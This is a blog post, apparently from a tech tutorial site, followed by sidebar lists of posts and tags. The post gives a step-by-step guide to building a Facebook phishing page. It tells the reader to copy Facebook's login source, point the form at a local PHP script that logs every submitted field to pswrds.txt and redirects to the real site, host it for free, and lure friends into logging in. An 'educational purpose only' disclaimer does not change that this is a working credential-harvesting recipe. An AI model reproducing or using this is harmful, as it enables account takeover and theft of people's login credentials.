-
BTS' readers used to ask me how to hack Facebook accounts. Most of the people curious to know how hackers take control of their accounts. In this post, let me clarify those doubts.
Here, i am going to explain one of the popular social engineering attack(luring user to do whatever you asked to do.), called "phishing" .
Phishing is one of the popular hacking technique used by hackers to lure victims into giving their login credentials.
Phishing WebPage:
Phishing webpage is a fake webpage of the target website that helps hackers to lure the victim into believe that they are visiting the legitimate website.Let me explain how to create a facebook phishing page.
Step 1:
Go to facebook and right click on website . Select "View source" and copy the code to notepad.Step2:
Now search (Press ctrl +f) for keyword "action" in that code.You fill find the code like this:
Here, let me explain what "action" means to. If you have some basic knowledge of web applications, then you already know about that. 'Action' is a HTML attribute that specifies where to send the form-data when a form is submitted.
In the above code, the action attribute has the value that points to facebook login php file (https://login.facebook.com/login.php). So when a user click the login button, it will send the data to the login.php page. This php file will check whether the entered password is valid or not .
To capture the form-data, we have to change the action value to our php file. So let us change the value to ' action="login.php" '. Note: I've removed ' http://login.facebook.com/' from the value.
Save the file as index.html.
Step 3:
Now , let us create our own login.php file that will capture the entered data and redirects to original facebook page.Open the notepad and type the following code:
<?php
header("Location: http://www.Facebook.com/login.php ");
$handle = fopen("pswrds.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>save this file as "login.php"
Step 4:
Open the notepad and just save the file as "pswrds.txt" (without any contents).Step 5:
To host your phishing page, you may need a webhosting. You can create a free account in free web hosting providers. Once you have created account in free hosting site, you can host your files and run. Also, your files can be viewed by visiting a specific URL provided when you create account. For example : 'your_url_name.webhosting_domain.com'.Now upload those files(index.html,login.php,pswrds.txt) in the free Web hosting site. Make sure your fake page is working or not by vising your url.
Now , You have to lure your friends into login into your phishing page. Once they login into the page, you can see the login credentials being stored in the "pswrds.txt" file.
Note:
The above article is for educational purpose only, written for beginners of Ethical hacking or Pentesting to understand the basics so that it will be easy for them to understanding advanced topics.I've also written an article that gives few security tips to protect yourself from being victim of such kind of phishing pages. Here you can find it: How to prevent from Phishing Web page?
We are Learncodz.
Posts
Comments
The Team
Blog Codz Author
Popular Codz Article
-
I rewrite this tutorial from forum.xda-developers.com : The users of Micromax A116 Canvas Hd can now update their handsets to Android 5.0 Lo...
-
Build Your Own URL Shortener With YOURLS
What You'll Be Creating In this tutorial, I'll show you how to install your own open source, PHP-based URL shortener, called YOU... -
Wifi Hacking – WEP – Kali Linux Aircrack-ng suite
Alright, this post is written assuming you have Kali Linux up and running on your computer. If not, here is a post on hacking with kali linu... -
Top 4 Affordable Android One Smartphones from Rs. 6000
If you’re looking for an affordable smartphone to buy this holiday season and aren’t too keen on a Windows Phone, look no further than the A... -
[MOD][4.1 4.2] Extend Phone Storage 1.5, 2.5GB A116 (Other MT6589 Devices on request)
READ EVERYTHING CAREFULLY I Will Not Responsible For Any Brick or Any Problem So Do It At Your Own Risk. This Will Extend your Device's ... -
want to build an chat application..(parse)
Introduction The Parse platform provides a complete backend solution for your mobile application. Our goal is to totally eliminate the nee... -
Distributing iOS Apps With iTunes Connect
Once you've developed your iOS or OS X app, it's time to submit it to Apple for release in the App Store. This process is done throu...
Portfolio
- 2015 at 02:00AM
- 2015 at 02:03AM
- 2015 at 02:07AM
- 2015 at 02:09AM
- 2015 at 03:51AM
- 2015 at 03:57AM
- 2015 at 04:03AM
- 2015 at 04:08AM
- 2015 at 06:38AM
- 2015 at 08:03PM
- 2015 at 08:09PM
- 2015 at 08:13PM
- 2015 at 08:18PM
- 2015 at 08:23PM
- 2015 at 08:32PM
- 2015 at 08:33PM
- 2015 at 08:42PM
- 2015 at 08:50PM
- 2015 at 09:08AM
- 2015 at 09:12AM
- 2015 at 09:20AM
- 2015 at 09:22AM
- 2015 at 09:25AM
- 2015 at 09:27PM
- 2015 at 09:28AM
- 2015 at 09:31PM
- 2015 at 09:34AM
- 2015 at 09:58AM
- 2015 at 10:31AM
- 2015 at 10:45AM
- 2015 at 10:46PM
- 2015 at 10:50AM
- 2015 at 10:57AM
- 2015 at 10:57PM
- 2015 at 10:58AM
- 2015 at 11:04PM
- 2015 at 11:07AM
- 2015 at 11:17AM
- 2015 at 11:20AM
- 2015 at 11:31AM
- 2015 at 11:32AM
- 2015 at 11:33AM
- 2015 at 11:39AM
- 2015 at 11:44AM
- 2015 at 11:45AM
- 2015 at 11:45PM
- 2015 at 11:46PM
- 2015 at 11:50PM
- 2015 at 11:51PM
- 2015 at 11:52AM
- 2015 at 11:57AM
- 2015 at 11:58PM
- 2015 at 12:02PM
- 2015 at 12:04AM
- 2015 at 12:08PM
- 3d maxx
- and
- Android
- android developer
- android developr
- android labels
- android sdk
- android studio
- android tutorial
- android tutorials
- apk
- apple
- application
- apps
- April 19
- April 20
- April 21
- April 22
- April 23
- April 24
- April 25
- At its simplest
- bac
- backtrack
- battery
- biotechnology is technology based on biology - biotechnology harnesses cellular and biomolecular processes to develop technologies and products that help improve our lives and the hea
- Blog
- blogger
- browser
- build an chat application
- C
- chrome app
- command prompt
- designing
- Developing App
- earn money
- games
- hack
- hack Facebook
- Hacking
- help
- How To
- htc
- IFTTT
- intel xdk
- Ios
- ios 8
- ios8
- ips 8
- Java
- Javascript
- lenovo
- mac
- Magento
- Mysql
- new launch
- nexus
- operating system
- OS
- phone
- Photoshop
- Php
- pivotal tracker
- Review
- Reviews
- roms
- root
- Ruby On Rails
- samsung
- sdk
- security
- swift
- Tech. News
- Tools:Tips
- tutorial
- Uncategorized
- unity
- update
- Visual Studio
- windows phone
- Wordpress
- wordpress tutorial